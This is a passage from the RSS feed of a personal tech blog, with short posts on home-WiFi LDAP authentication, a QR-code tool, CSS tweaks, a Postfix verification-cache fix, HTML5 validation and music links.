  4002.    <pubDate>Sun, 18 Feb 2024 15:37:00 +0100</pubDate>
  4003.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4004.    <description><![CDATA[<p><a href="https://github.com/x-way/ldapauth" title="x-way/ldapauth">ldapauth</a> is a <a href="https://nodejs.org" title="Node.js">Node.js</a> script which I have been using for the last 12+ years mostly unchanged.</p>
  4005. <p>It started its life in a <a href="https://en.wikipedia.org/wiki/LXC" title="Linux Containers (LXC)">LXC</a> container, eventually was moved to a Docker container and recently ended up in its own repository on GitHub.</p>
  4006. <p>The functionality it provides is not extraordinary, but helped to bridge a gap where no other product was available.<br>
  4007. It talks <a href="https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol" title="Lightweight Directory Access Protocol - Wikipedia">LDAP</a> one one side (although limited to handle user lookup requests) and on the other side connects to a <a href="https://www.mongodb.com/" title="MongoDB - Document Oriented Database">MongoDB</a> database where the information is stored.</p>
  4008. <p>It emerged out of the desire to have an easy way to manage individual user accounts for my home WiFi. I already had MongoDB running for some other personal project and simply added the list of users there (including the UI for managing them).<br>
  4009. Thus the missing part was to get the WiFi accesspoint to lookup user accounts in MongoDB.</p>
  4010. <p>Of course WiFi accesspoints do not directly talk MongoDB, but rather some other protocol like <a href="https://en.wikipedia.org/wiki/RADIUS" title="Remote Authentication Dial-In User Service">RADIUS</a>.<br>
  4011. A <a href="https://freeradius.org/" title="FreeRADIUS">freeradius</a> server was quickly setup, but still couldn't talk to MongoDB at the time. Thus comes in <a href="https://github.com/x-way/ldapauth" title="x-way/ldapauth">ldapauth</a>, which takes LDAP queries from freeradius and turns them into MongoDB lookups so that in the end the WiFi accesspoint receives the user accounts :-)</p>
  4012. <p>Not sure if this is particularly useful for anyone else, but at least here it did provide good services (and continues to do so).<br>
  4013. Current score is that it has survived three different WiFi accesspoints and has been running on 5 different servers over the time.</p>
  4014. ]]></description>
  4015.    <content:encoded><![CDATA[<p><a href="https://github.com/x-way/ldapauth" title="x-way/ldapauth">ldapauth</a> is a <a href="https://nodejs.org" title="Node.js">Node.js</a> script which I have been using for the last 12+ years mostly unchanged.</p>
  4016. <p>It started its life in a <a href="https://en.wikipedia.org/wiki/LXC" title="Linux Containers (LXC)">LXC</a> container, eventually was moved to a Docker container and recently ended up in its own repository on GitHub.</p>
  4017. <p>The functionality it provides is not extraordinary, but helped to bridge a gap where no other product was available.<br>
  4018. It talks <a href="https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol" title="Lightweight Directory Access Protocol - Wikipedia">LDAP</a> one one side (although limited to handle user lookup requests) and on the other side connects to a <a href="https://www.mongodb.com/" title="MongoDB - Document Oriented Database">MongoDB</a> database where the information is stored.</p>
  4019. <p>It emerged out of the desire to have an easy way to manage individual user accounts for my home WiFi. I already had MongoDB running for some other personal project and simply added the list of users there (including the UI for managing them).<br>
  4020. Thus the missing part was to get the WiFi accesspoint to lookup user accounts in MongoDB.</p>
  4021. <p>Of course WiFi accesspoints do not directly talk MongoDB, but rather some other protocol like <a href="https://en.wikipedia.org/wiki/RADIUS" title="Remote Authentication Dial-In User Service">RADIUS</a>.<br>
  4022. A <a href="https://freeradius.org/" title="FreeRADIUS">freeradius</a> server was quickly setup, but still couldn't talk to MongoDB at the time. Thus comes in <a href="https://github.com/x-way/ldapauth" title="x-way/ldapauth">ldapauth</a>, which takes LDAP queries from freeradius and turns them into MongoDB lookups so that in the end the WiFi accesspoint receives the user accounts :-)</p>
  4023. <p>Not sure if this is particularly useful for anyone else, but at least here it did provide good services (and continues to do so).<br>
  4024. Current score is that it has survived three different WiFi accesspoints and has been running on 5 different servers over the time.</p>
  4025. ]]></content:encoded>
  4026.  </item>
  4027.  
  4028.  <item>
  4029.    <title>Hilltop Hoods - Laced Up</title>
  4030.    <link>https://blog.x-way.org/Music/2024/02/18/Hilltop-Hoods-Laced-Up.html</link>
  4031.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324332</guid>
  4032.    <dc:creator>Andreas Jaggi</dc:creator>
  4033.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4034.    <pubDate>Sun, 18 Feb 2024 08:31:00 +0100</pubDate>
  4035.    <category domain="https://blog.x-way.org/Music/">Music</category>
  4036.    <description><![CDATA[<p><a href="https://youtu.be/Nn-kfXCQt6A" title="Hilltop Hoods - Laced Up - YouTube">Hilltop Hoods - Laced Up</a></p>
  4037. <p>Some vibes from Australia &#x2764;</p>
  4038. ]]></description>
  4039.    <content:encoded><![CDATA[<p><a href="https://youtu.be/Nn-kfXCQt6A" title="Hilltop Hoods - Laced Up - YouTube">Hilltop Hoods - Laced Up</a></p>
  4040. <p>Some vibes from Australia &#x2764;</p>
  4041. ]]></content:encoded>
  4042.  </item>
  4043.  
  4044.  <item>
  4045.    <title>qr-bag</title>
  4046.    <link>https://blog.x-way.org/Coding/2024/02/03/qr-bag.html</link>
  4047.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324331</guid>
  4048.    <dc:creator>Andreas Jaggi</dc:creator>
  4049.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4050.    <pubDate>Sat, 03 Feb 2024 19:55:00 +0100</pubDate>
  4051.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  4052.    <description><![CDATA[<p>Some time ago I used an online tool to generate some QR codes with a contact URL so I can put them on my luggage.<br>Now I got a new bag and need a new QR code for it. As I don't remember the online tool I used years ago, I decided to write my own tool.</p>
  4053. <p>Thus say hello to <a href="https://github.com/x-way/qr-bag" title="x-way/qr-bag: Generate a QR code with a lost bag logo in the middle pointing to a URL with information about the owner ">qr-bag</a>. It's a commandline tool written in Go to generate QR codes for URLs with a little logo in the middle.<br>The code for it is mostly a wrapper around the <a href="https://github.com/yeqown/go-qrcode" title="yeqown/go-qrcode">go-qrcode</a> library which does all the heavy lifting.</p>
  4054. <img src="https://blog.x-way.org/images/qr-bag123.png" width="173" height="173" alt="Example QR code">
  4055. ]]></description>
  4056.    <content:encoded><![CDATA[<p>Some time ago I used an online tool to generate some QR codes with a contact URL so I can put them on my luggage.<br>Now I got a new bag and need a new QR code for it. As I don't remember the online tool I used years ago, I decided to write my own tool.</p>
  4057. <p>Thus say hello to <a href="https://github.com/x-way/qr-bag" title="x-way/qr-bag: Generate a QR code with a lost bag logo in the middle pointing to a URL with information about the owner ">qr-bag</a>. It's a commandline tool written in Go to generate QR codes for URLs with a little logo in the middle.<br>The code for it is mostly a wrapper around the <a href="https://github.com/yeqown/go-qrcode" title="yeqown/go-qrcode">go-qrcode</a> library which does all the heavy lifting.</p>
  4058. <img src="https://blog.x-way.org/images/qr-bag123.png" width="173" height="173" alt="Example QR code">
  4059. ]]></content:encoded>
  4060.  </item>
  4061.  
  4062.  <item>
  4063.    <title>text-decoration-color</title>
  4064.    <link>https://blog.x-way.org/Webdesign/2024/02/03/text-decoration-color.html</link>
  4065.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324330</guid>
  4066.    <dc:creator>Andreas Jaggi</dc:creator>
  4067.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4068.    <pubDate>Sat, 03 Feb 2024 16:27:00 +0100</pubDate>
  4069.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4070.    <description><![CDATA[<p>Just discovered the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-decoration-color" title="text-decoration-color - CSS: Cascading Style Sheets | MDN"><code>text-decoration-color</code></a> CSS property and added it to the style on the blog:</p>
  4071. <pre>a:hover {color: #454545; text-decoration: underline; text-decoration-color: #26C4FF;}</pre>
  4072. <p>This causes that when you hover over a link in a post, the underline is not in the same boring gray as the text but lights up in a nice color :-)</p>
  4073. <p>(not to be confused with the hacky colored underlines in the righthand navigation bar, where I use a colored <code>border-bottom</code> to achieve a similar effect since 2002)</p>
  4074. ]]></description>
  4075.    <content:encoded><![CDATA[<p>Just discovered the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-decoration-color" title="text-decoration-color - CSS: Cascading Style Sheets | MDN"><code>text-decoration-color</code></a> CSS property and added it to the style on the blog:</p>
  4076. <pre>a:hover {color: #454545; text-decoration: underline; text-decoration-color: #26C4FF;}</pre>
  4077. <p>This causes that when you hover over a link in a post, the underline is not in the same boring gray as the text but lights up in a nice color :-)</p>
  4078. <p>(not to be confused with the hacky colored underlines in the righthand navigation bar, where I use a colored <code>border-bottom</code> to achieve a similar effect since 2002)</p>
  4079. ]]></content:encoded>
  4080.  </item>
  4081.  
  4082.  <item>
  4083.    <title>Blogroll cleanup 2024</title>
  4084.    <link>https://blog.x-way.org/Misc/2024/01/31/Blogroll-cleanup-2024.html</link>
  4085.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324329</guid>
  4086.    <dc:creator>Andreas Jaggi</dc:creator>
  4087.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4088.    <pubDate>Wed, 31 Jan 2024 22:50:00 +0100</pubDate>
  4089.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4090.    <description><![CDATA[<p>It's time again to do some cleanup of my blogroll before the links start to turn into 404 errors :-)</p>
  4091. <p>Removed:</p>
  4092. <ul>
  4093. <li><a href="https://web.archive.org/web/20200301211123/http://strcat.de/blog/" title="Veni, Vidi, VISA">Veni, Vidi, VISA</a></li>
  4094. <li><a href="https://web.archive.org/web/20230724205656/https://gru.gq/" title="grugq's domain - Cyber is Deception">gru.gq</a></li>
  4095. <li><a href="https://web.archive.org/web/20240119172554/http://www.brewdog.com/blog" title="BrewDog Craft Beer Blog">BrewDog</a></li>
  4096. <li><a href="https://mdlayher.com/blog/" title="Matt Layher">mdlayher.com</a></li>
  4097. <li><a href="https://blog.inliniac.net/" title="Inliniac | Everything inline.">Inliniac</a></li>
  4098. <li><a href="https://home.regit.org/" title="To Linux and beyond!">To Linux and beyond!</a></li>
  4099. <li><a href="http://lonesysadmin.net/" title="The Lone Sysadmin">The Lone Sysadmin</a></li>
  4100. <li><a href="https://eklitzke.org/" title="Evan Klitzke">eklitzke.org</a></li>
  4101. </ul>
  4102. ]]></description>
  4103.    <content:encoded><![CDATA[<p>It's time again to do some cleanup of my blogroll before the links start to turn into 404 errors :-)</p>
  4104. <p>Removed:</p>
  4105. <ul>
  4106. <li><a href="https://web.archive.org/web/20200301211123/http://strcat.de/blog/" title="Veni, Vidi, VISA">Veni, Vidi, VISA</a></li>
  4107. <li><a href="https://web.archive.org/web/20230724205656/https://gru.gq/" title="grugq's domain - Cyber is Deception">gru.gq</a></li>
  4108. <li><a href="https://web.archive.org/web/20240119172554/http://www.brewdog.com/blog" title="BrewDog Craft Beer Blog">BrewDog</a></li>
  4109. <li><a href="https://mdlayher.com/blog/" title="Matt Layher">mdlayher.com</a></li>
  4110. <li><a href="https://blog.inliniac.net/" title="Inliniac | Everything inline.">Inliniac</a></li>
  4111. <li><a href="https://home.regit.org/" title="To Linux and beyond!">To Linux and beyond!</a></li>
  4112. <li><a href="http://lonesysadmin.net/" title="The Lone Sysadmin">The Lone Sysadmin</a></li>
  4113. <li><a href="https://eklitzke.org/" title="Evan Klitzke">eklitzke.org</a></li>
  4114. </ul>
  4115. ]]></content:encoded>
  4116.  </item>
  4117.  
  4118.  <item>
  4119.    <title>Statistics revived</title>
  4120.    <link>https://blog.x-way.org/Misc/2024/01/30/Statistics-revived.html</link>
  4121.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324328</guid>
  4122.    <dc:creator>Andreas Jaggi</dc:creator>
  4123.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4124.    <pubDate>Tue, 30 Jan 2024 06:46:00 +0100</pubDate>
  4125.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4126.    <description><![CDATA[<p>Following in the trend of replacing tables, I've revived the old <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a>.<br>Now using less markup as it is built with <code>&lt;div&gt;</code> and CSS only (the <code>display: inline-block;</code> property was particularly helpful).</p>
  4127. <p>(the Jekyll/Liquid templating to generate the data for it looks quite horrific though&hellip;)</p>
  4128. ]]></description>
  4129.    <content:encoded><![CDATA[<p>Following in the trend of replacing tables, I've revived the old <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a>.<br>Now using less markup as it is built with <code>&lt;div&gt;</code> and CSS only (the <code>display: inline-block;</code> property was particularly helpful).</p>
  4130. <p>(the Jekyll/Liquid templating to generate the data for it looks quite horrific though&hellip;)</p>
  4131. ]]></content:encoded>
  4132.  </item>
  4133.  
  4134.  <item>
  4135.    <title>Tables are gone</title>
  4136.    <link>https://blog.x-way.org/Webdesign/2024/01/28/Tables-are-gone.html</link>
  4137.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324327</guid>
  4138.    <dc:creator>Andreas Jaggi</dc:creator>
  4139.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4140.    <pubDate>Sun, 28 Jan 2024 16:47:00 +0100</pubDate>
  4141.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4142.    <description><![CDATA[<p>Over the last couple weeks I slowly replaced the various &lt;table&gt;-based layout elements of the blog with more modern HTML elements.<br>
  4143. And finally this afternoon the work was completed with the last &lt;table&gt; element gone.</p>
  4144. <p>Visually there should be almost no differences, but in case something looks strange just let <a href="https://blog.x-way.org/about.html" title="x-log - About">me</a> know :-)<br>
  4145. (and yes, style-wise everything is still using the pixel-based layout from 2002, one day this might change as well&hellip;)</p>
  4146. ]]></description>
  4147.    <content:encoded><![CDATA[<p>Over the last couple weeks I slowly replaced the various &lt;table&gt;-based layout elements of the blog with more modern HTML elements.<br>
  4148. And finally this afternoon the work was completed with the last &lt;table&gt; element gone.</p>
  4149. <p>Visually there should be almost no differences, but in case something looks strange just let <a href="https://blog.x-way.org/about.html" title="x-log - About">me</a> know :-)<br>
  4150. (and yes, style-wise everything is still using the pixel-based layout from 2002, one day this might change as well&hellip;)</p>
  4151. ]]></content:encoded>
  4152.  </item>
  4153.  
  4154.  <item>
  4155.    <title>Quick and dirty dark mode</title>
  4156.    <link>https://blog.x-way.org/Webdesign/2024/01/27/Quick-and-dirty-dark-mode.html</link>
  4157.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324326</guid>
  4158.    <dc:creator>Andreas Jaggi</dc:creator>
  4159.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4160.    <pubDate>Sat, 27 Jan 2024 15:59:00 +0100</pubDate>
  4161.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4162.    <description><![CDATA[<p>To provide basic dark mode support for the blog, I added the following lines of CSS:</p>
  4163. <pre>
  4164. @media (prefers-color-scheme: dark) {
  4165.    html { filter: invert(1) hue-rotate(180deg); }
  4166.    img, video, iframe { filter: invert(1) hue-rotate(180deg); }
  4167. }
  4168. </pre>
  4169. <p>If the browser/OS has dark mode enabled it will invert the colors and rotate the hue to achieve the dark mode effect.<br>The whole operation is applied a second time on images, videos and frames to avoid that they have their colors distorted.</p>
  4170. <p>You can get a preview by using the developer tools of your browser to enable dark mode :-)</p>
  4171. <p>The code is inspired by the post <a href="https://dev.to/akhilarjun/one-line-dark-mode-using-css-24li" title="One line - Dark Mode using CSS - DEV Community">here</a>, and then extended to provide a CSS-only solution by leveraging the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color-scheme" title="color-scheme - CSS: Cascading Style Sheets | MDN">color-scheme CSS property</a>.</p>
  4172. ]]></description>
  4173.    <content:encoded><![CDATA[<p>To provide basic dark mode support for the blog, I added the following lines of CSS:</p>
  4174. <pre>
  4175. @media (prefers-color-scheme: dark) {
  4176.    html { filter: invert(1) hue-rotate(180deg); }
  4177.    img, video, iframe { filter: invert(1) hue-rotate(180deg); }
  4178. }
  4179. </pre>
  4180. <p>If the browser/OS has dark mode enabled it will invert the colors and rotate the hue to achieve the dark mode effect.<br>The whole operation is applied a second time on images, videos and frames to avoid that they have their colors distorted.</p>
  4181. <p>You can get a preview by using the developer tools of your browser to enable dark mode :-)</p>
  4182. <p>The code is inspired by the post <a href="https://dev.to/akhilarjun/one-line-dark-mode-using-css-24li" title="One line - Dark Mode using CSS - DEV Community">here</a>, and then extended to provide a CSS-only solution by leveraging the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color-scheme" title="color-scheme - CSS: Cascading Style Sheets | MDN">color-scheme CSS property</a>.</p>
  4183. ]]></content:encoded>
  4184.  </item>
  4185.  
  4186.  <item>
  4187.    <title>Sub Focus, Dimension, Culture Shock &#x26; 1991</title>
  4188.    <link>https://blog.x-way.org/Music/2024/01/21/Sub-Focus-Dimension-Culture-Shock-1991.html</link>
  4189.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324325</guid>
  4190.    <dc:creator>Andreas Jaggi</dc:creator>
  4191.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4192.    <pubDate>Sun, 21 Jan 2024 22:16:00 +0100</pubDate>
  4193.    <category domain="https://blog.x-way.org/Music/">Music</category>
  4194.    <description><![CDATA[<p><a href="https://youtu.be/OZMWKqbcwzo" title="Sub Focus, Dimension, Culture Shock &amp; 1991 - YouTube">Sub Focus, Dimension, Culture Shock &amp; 1991</a></p>
  4195. <p>Some very fine Drum and bass. Recently got to experience two of them live (Sub Focus &amp; 1991), and have plans to see Dimension next :-)</p>
  4196. <p>Especially like the little <a href="https://theprodigy.com" title="The Prodigy">The Prodigy</a> mixin starting at 1:04:30 &#x1F973;</p>
  4197. ]]></description>
  4198.    <content:encoded><![CDATA[<p><a href="https://youtu.be/OZMWKqbcwzo" title="Sub Focus, Dimension, Culture Shock &amp; 1991 - YouTube">Sub Focus, Dimension, Culture Shock &amp; 1991</a></p>
  4199. <p>Some very fine Drum and bass. Recently got to experience two of them live (Sub Focus &amp; 1991), and have plans to see Dimension next :-)</p>
  4200. <p>Especially like the little <a href="https://theprodigy.com" title="The Prodigy">The Prodigy</a> mixin starting at 1:04:30 &#x1F973;</p>
  4201. ]]></content:encoded>
  4202.  </item>
  4203.  
  4204.  <item>
  4205.    <title>Keeping old URLs alive</title>
  4206.    <link>https://blog.x-way.org/Misc/2024/01/21/Keeping-old-URLs-alive.html</link>
  4207.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324324</guid>
  4208.    <dc:creator>Andreas Jaggi</dc:creator>
  4209.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4210.    <pubDate>Sun, 21 Jan 2024 21:41:00 +0100</pubDate>
  4211.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4212.    <description><![CDATA[<p>As mentioned before, I'm a supporter of the <a href="https://www.w3.org/Provider/Style/URI" title="Hypertext Style: Cool URIs don't change">Cool URIs don't change</a> approach.<br>Thus I try to keep all the URLs of this blog working (or at least make them redirect to the new place where the content is located).<br>Not always an easy task with old domains and multiple blogging engines accumulated over the years.</p>
  4213. <p>To help me with that (and ensure I don't break anything when updating a 10+ year old mod_rewrite config) I created a short Bash script to test the redirect behavior.<br>It contains a list of URLs and their expected redirect target, goes through them with <a href="https://curl.se" title="curl">curl</a> and checks that the correct <code>Location:</code> header is returned.</p>
  4214. <p>As it might be useful for others in similar situations, the script can be found <a href="https://blog.x-way.org/stuff/test.sh" title="test.sh">here</a>.</p>
  4215. ]]></description>
  4216.    <content:encoded><![CDATA[<p>As mentioned before, I'm a supporter of the <a href="https://www.w3.org/Provider/Style/URI" title="Hypertext Style: Cool URIs don't change">Cool URIs don't change</a> approach.<br>Thus I try to keep all the URLs of this blog working (or at least make them redirect to the new place where the content is located).<br>Not always an easy task with old domains and multiple blogging engines accumulated over the years.</p>
  4217. <p>To help me with that (and ensure I don't break anything when updating a 10+ year old mod_rewrite config) I created a short Bash script to test the redirect behavior.<br>It contains a list of URLs and their expected redirect target, goes through them with <a href="https://curl.se" title="curl">curl</a> and checks that the correct <code>Location:</code> header is returned.</p>
  4218. <p>As it might be useful for others in similar situations, the script can be found <a href="https://blog.x-way.org/stuff/test.sh" title="test.sh">here</a>.</p>
  4219. ]]></content:encoded>
  4220.  </item>
  4221.  
  4222.  <item>
  4223.    <title>I miss human curation</title>
  4224.    <link>https://blog.x-way.org/Misc/2024/01/21/I-miss-human-curation.html</link>
  4225.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324323</guid>
  4226.    <dc:creator>Andreas Jaggi</dc:creator>
  4227.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4228.    <pubDate>Sun, 21 Jan 2024 07:14:00 +0100</pubDate>
  4229.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  4230.    <description><![CDATA[<p><a href="https://blog.cassidoo.co/post/human-curation/" title="I miss human curation - Cassidy's blog">I miss human curation</a> &mdash; Where are my internet friends? And where are their weird blogs? (<a href="https://bookmark.kniebes.io/bookmark/a97dd47db2b511eebfd9408d5c84b5d9" title="Markus Kniebes Journal">via</a>)<p>
  4231. ]]></description>
  4232.    <content:encoded><![CDATA[<p><a href="https://blog.cassidoo.co/post/human-curation/" title="I miss human curation - Cassidy's blog">I miss human curation</a> &mdash; Where are my internet friends? And where are their weird blogs? (<a href="https://bookmark.kniebes.io/bookmark/a97dd47db2b511eebfd9408d5c84b5d9" title="Markus Kniebes Journal">via</a>)<p>
  4233. ]]></content:encoded>
  4234.  </item>
  4235.  
  4236.  <item>
  4237.    <title>Postfix clear verification cache</title>
  4238.    <link>https://blog.x-way.org/Linux/2024/01/07/Postfix-clear-verification-cache.html</link>
  4239.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324322</guid>
  4240.    <dc:creator>Andreas Jaggi</dc:creator>
  4241.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4242.    <pubDate>Sun, 07 Jan 2024 22:38:00 +0100</pubDate>
  4243.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  4244.    <description><![CDATA[<p>While adding some new alias functionality to my setup, it repeatedly failed with an error similar to this, despite my configuration changes:</p>
  4245. <pre>Recipient address rejected: unverified address: host XXX[XXX] said: 550 5.1.1
  4246. &lt;foo@bar.com&gt; User doesn't exist: foo@bar.com (in reply to RCPT TO command);</pre>
  4247. <p>Turns out that the negative verification result is cached and the cache is not reset during a reload/restart of postfix.<br>
  4248. Thus it must be cleared manually like this:</p>
  4249. <pre>/etc/init.d/postfix stop
  4250. rm /var/lib/postfix/verify_cache.db
  4251. /etc/init.d/postfix start</pre>
  4252. ]]></description>
  4253.    <content:encoded><![CDATA[<p>While adding some new alias functionality to my setup, it repeatedly failed with an error similar to this, despite my configuration changes:</p>
  4254. <pre>Recipient address rejected: unverified address: host XXX[XXX] said: 550 5.1.1
  4255. &lt;foo@bar.com&gt; User doesn't exist: foo@bar.com (in reply to RCPT TO command);</pre>
  4256. <p>Turns out that the negative verification result is cached and the cache is not reset during a reload/restart of postfix.<br>
  4257. Thus it must be cleared manually like this:</p>
  4258. <pre>/etc/init.d/postfix stop
  4259. rm /var/lib/postfix/verify_cache.db
  4260. /etc/init.d/postfix start</pre>
  4261. ]]></content:encoded>
  4262.  </item>
  4263.  
  4264.  <item>
  4265.    <title>Valid HTML5</title>
  4266.    <link>https://blog.x-way.org/Webdesign/2024/01/03/Valid-HTML5.html</link>
  4267.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324321</guid>
  4268.    <dc:creator>Andreas Jaggi</dc:creator>
  4269.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4270.    <pubDate>Wed, 03 Jan 2024 20:59:00 +0100</pubDate>
  4271.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4272.    <description><![CDATA[<p>After <a href="https://blog.x-way.org/Webdesign/2024/01/01/Winter-plain-2.html" title="Winter - plain 2">switching the colors</a> of the design, I kept the momentum and continued working on the HTML of the blog.</p>
  4273. <p>It took couple iterations of multiple hours, but now it's done: the HTML source of this blog is <a href="https://validator.w3.org/nu/?doc=https%3A%2F%2Fblog.x-way.org%2F" title="Nu HTML Checker">valid HTML5</a>!</p>
  4274. <p>Getting rid of the obsoleteness hidden in old blogentries dating back over 20 years also led to some interesting observations.<br>
  4275. Back when moving from HTML 4.01 to <a href="https://blog.x-way.org/Coding/2004/04/08/x-log_v202c.html" title="x-log v2.02c">XHTML 1.1</a>, I remember spending some time to transform old <code>&lt;br&gt;</code> tags to <code>&lt;br /&gt;</code>. And now for HTML5 I did the inverse and moved all <code>&lt;br /&gt;</code> tags back to <code>&lt;br&gt;</code> :-)</p>
  4276. <p>Also once more I'm very thankful for the work of the <a href="https://archive.org/" title="Internet Archive">Internet Archive</a>, which helped to recover images hosted on servers long gone (like URLs which already at the end of 2002 were no longer valid!).</p>
  4277. <p>Overall a lot of replacing no longer existing HTML tags and attributes with CSS definitions.<br>And there is virtually no change to the visual representation of the blog (which was the goal), so we still have the table-based layout with pixel-sized fonts as originally drafted in 2002.<br>Moving this to actually leverage modern HTML5 mechanisms and making it also more mobile friendly are tasks left for some future cold winter evenings :-)</p>
  4278. <p><a href="https://validator.w3.org/nu/?doc=https%3A%2F%2Fblog.x-way.org%2F" title="Valid W3C HTML5"><img src="https://blog.x-way.org/images/html5-validator-badge.png" width="352" height="124" alt="W3C HTML5"></a></p>
  4279. ]]></description>
  4280.    <content:encoded><![CDATA[<p>After <a href="https://blog.x-way.org/Webdesign/2024/01/01/Winter-plain-2.html" title="Winter - plain 2">switching the colors</a> of the design, I kept the momentum and continued working on the HTML of the blog.</p>
  4281. <p>It took couple iterations of multiple hours, but now it's done: the HTML source of this blog is <a href="https://validator.w3.org/nu/?doc=https%3A%2F%2Fblog.x-way.org%2F" title="Nu HTML Checker">valid HTML5</a>!</p>
  4282. <p>Getting rid of the obsoleteness hidden in old blogentries dating back over 20 years also led to some interesting observations.<br>
  4283. Back when moving from HTML 4.01 to <a href="https://blog.x-way.org/Coding/2004/04/08/x-log_v202c.html" title="x-log v2.02c">XHTML 1.1</a>, I remember spending some time to transform old <code>&lt;br&gt;</code> tags to <code>&lt;br /&gt;</code>. And now for HTML5 I did the inverse and moved all <code>&lt;br /&gt;</code> tags back to <code>&lt;br&gt;</code> :-)</p>
  4284. <p>Also once more I'm very thankful for the work of the <a href="https://archive.org/" title="Internet Archive">Internet Archive</a>, which helped to recover images hosted on servers long gone (like URLs which already at the end of 2002 were no longer valid!).</p>
  4285. <p>Overall a lot of replacing no longer existing HTML tags and attributes with CSS definitions.<br>And there is virtually no change to the visual representation of the blog (which was the goal), so we still have the table-based layout with pixel-sized fonts as originally drafted in 2002.<br>Moving this to actually leverage modern HTML5 mechanisms and making it also more mobile friendly are tasks left for some future cold winter evenings :-)</p>
  4286. <p><a href="https://validator.w3.org/nu/?doc=https%3A%2F%2Fblog.x-way.org%2F" title="Valid W3C HTML5"><img src="https://blog.x-way.org/images/html5-validator-badge.png" width="352" height="124" alt="W3C HTML5"></a></p>
  4287. ]]></content:encoded>
  4288.  </item>
  4289.  
  4290.  <item>
  4291.    <title>Winter - plain 2</title>
  4292.    <link>https://blog.x-way.org/Webdesign/2024/01/01/Winter-plain-2.html</link>
  4293.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324320</guid>
  4294.    <dc:creator>Andreas Jaggi</dc:creator>
  4295.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4296.    <pubDate>Mon, 01 Jan 2024 12:41:00 +0100</pubDate>
  4297.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  4298.    <description><![CDATA[<p>Happy New Year! &mdash; Happy New Colors!</p>
  4299. <p>Winter is here (for a while already), time to change the colors of the blog.<br>
  4300. To keep it in the nostalgic theme (the previous design was a <a href="https://blog.x-way.org/Webdesign/2022/06/04/Blogging-like-2002.html" title="x-log - Blogging like 2002">repurpose of the inital design from 2002</a>), I'm using the colors from the <a href="https://blog.x-way.org/Webdesign/2002/12/15/Winter.html" title="x-log - Winter">'plain 2' winter layout</a> (also from 2002).</p>
  4301. <p>Enjoy!</p>
  4302. ]]></description>
  4303.    <content:encoded><![CDATA[<p>Happy New Year! &mdash; Happy New Colors!</p>
  4304. <p>Winter is here (for a while already), time to change the colors of the blog.<br>
  4305. To keep it in the nostalgic theme (the previous design was a <a href="https://blog.x-way.org/Webdesign/2022/06/04/Blogging-like-2002.html" title="x-log - Blogging like 2002">repurpose of the inital design from 2002</a>), I'm using the colors from the <a href="https://blog.x-way.org/Webdesign/2002/12/15/Winter.html" title="x-log - Winter">'plain 2' winter layout</a> (also from 2002).</p>
  4306. <p>Enjoy!</p>
  4307. ]]></content:encoded>
  4308.  </item>
  4309.  
  4310.  <item>
  4311.    <title>MECSA</title>
  4312.    <link>https://blog.x-way.org/Networking/2023/12/30/MECSA.html</link>
  4313.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324319</guid>
  4314.    <dc:creator>Andreas Jaggi</dc:creator>
  4315.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  4316.    <pubDate>Sat, 30 Dec 2023 09:16:00 +0100</pubDate>
  4317.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
